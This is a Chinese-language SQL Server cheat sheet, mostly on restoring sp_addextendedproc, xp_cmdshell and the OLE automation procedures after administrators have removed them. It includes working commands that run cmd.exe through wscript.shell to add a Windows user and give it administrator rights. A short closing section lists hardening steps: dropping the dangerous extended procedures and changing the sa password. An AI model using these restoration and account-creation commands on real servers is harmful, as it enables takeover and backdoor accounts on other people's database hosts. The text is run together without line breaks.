恢复sp_addextendedproc语句:
create procedure sp_addextendedproc --- 1996/08/30 20:13@functname nvarchar(517),/* (owner.)name of function to call */@dllname varchar(255)/* name of DLL containing function */asset implicit_transactions offif @@trancount > 0beginraiserror(15002,-1,-1,'sp_addextendedproc' return (1)enddbcc addextendedproc( @functname, @dllname)return (0) -- sp_addextendedprocGOxp_cmdshell新的恢复办法(不用去管sp_addextendedproc是不是存在)删除drop procedure sp_addextendedprocdrop procedure sp_oacreateexec sp_dropextendedproc 'xp_cmdshell'恢复dbcc addextendedproc ("sp_oacreate","odsole70.dll" dbcc addextendedproc ("xp_cmdshell","xplog70.dll" 1.未能找到存储过程'master..xpcmdshell'之解决方法:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o intsp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'2.无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。原因126(找不到指定模块。)sp_dropextendedproc "xp_cmdshell"sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)exec sp_dropextendedproc 'xp_cmdshell'exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'4.直接添加帐户法删除odsole70.dll:exec master..sp_dropextendedproc sp_oamethodexec master..sp_dropextendedproc sp_oacreate恢复odsole70.dll:exec sp_addextendedproc sp_OAMethod,'odsole70.dll'exec sp_addextendedproc sp_OACreate,'odsole70.dll'直接添加帐户命令:declare @shell int exec sp_oacreate 'wscript.shell',@shell outputexec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add'5.恢复时一些常用的SQL语句:利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自己):use masterexec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'exec sp_addextendedproc xp_dirtree,'xpstar.dll'exec sp_addextendedproc xp_enumgroups,'xplog70.dll'exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'exec sp_addextendedproc xp_loginconfig,'xplog70.dll'exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'exec sp_addextendedproc sp_OACreate,'odsole70.dll'exec sp_addextendedproc sp_OADestroy,'odsole70.dll'exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'exec sp_addextendedproc sp_OAMethod,'odsole70.dll'exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'exec sp_addextendedproc sp_OAStop,'odsole70.dll'exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'exec sp_addextendedproc xp_regread,'xpstar.dll'exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'exec sp_addextendedproc xp_regwrite,'xpstar.dll'exec sp_addextendedproc xp_availablemedia,'xpstar.dll'恢复cmdshell:exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'判断存储扩展是否存在(返回结果为1就ok):select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'恢复xp_cmdshell(返回结果为1就ok):exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjectswhere xtype='x' and name='xp_cmdshell'否则上传xplog7.0.dll:exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'***************************************以下为防范时用********************************************1.删除所有危险扩展:Drop PROCEDURE sp_makewebtaskexec master..sp_dropextendedproc xp_cmdshellexec master..sp_dropextendedproc xp_dirtreeexec master..sp_dropextendedproc xp_fileexistexec master..sp_dropextendedproc xp_terminate_processexec master..sp_dropextendedproc sp_oamethodexec master..sp_dropextendedproc sp_oacreateexec master..sp_dropextendedproc xp_regaddmultistringexec master..sp_dropextendedproc xp_regdeletekeyexec master..sp_dropextendedproc xp_regdeletevalueexec master..sp_dropextendedproc xp_regenumkeysexec master..sp_dropextendedproc xp_regenumvaluesexec master..sp_dropextendedproc sp_add_jobexec master..sp_dropextendedproc sp_addtaskexec master..sp_dropextendedproc xp_regreadexec master..sp_dropextendedproc xp_regwriteexec master..sp_dropextendedproc xp_readwebtaskexec master..sp_dropextendedproc xp_makewebtaskexec master..sp_dropextendedproc xp_regremovemultistringexec master..sp_dropextendedproc sp_OACreateDrop PROCEDURE sp_addextendedproc2.删除xp_cmdshell扩展:sp_dropextendedproc 'xp_cmdshell'3.修补sa弱口令:exec sp_password NULL,'新密码','sa'